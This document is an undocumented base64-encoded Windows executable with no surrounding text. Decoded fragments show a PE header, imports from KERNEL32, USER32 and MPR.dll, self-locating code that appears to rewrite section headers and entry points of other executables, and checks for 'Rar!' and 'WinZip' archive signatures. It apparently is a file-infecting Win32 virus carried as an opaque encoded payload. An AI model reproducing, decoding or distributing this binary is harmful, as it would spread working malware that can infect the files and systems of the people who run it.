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 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAwAAADgAAIAEAAAA0AAAgAYAAADoAACADgAAABABAIAQAAAA SAEAgAAAAAAAAAAABAAAAAAAEQABAAAAYAEAgAIAAAB4AQCAAwAAAJABAIAEAAAAqAEAgAUA AADAAQCABgAAANgBAIAHAAAA8AEAgAgAAAAIAgCACQAAACACAIAKAAAAOAIAgAsAAABQAgCA 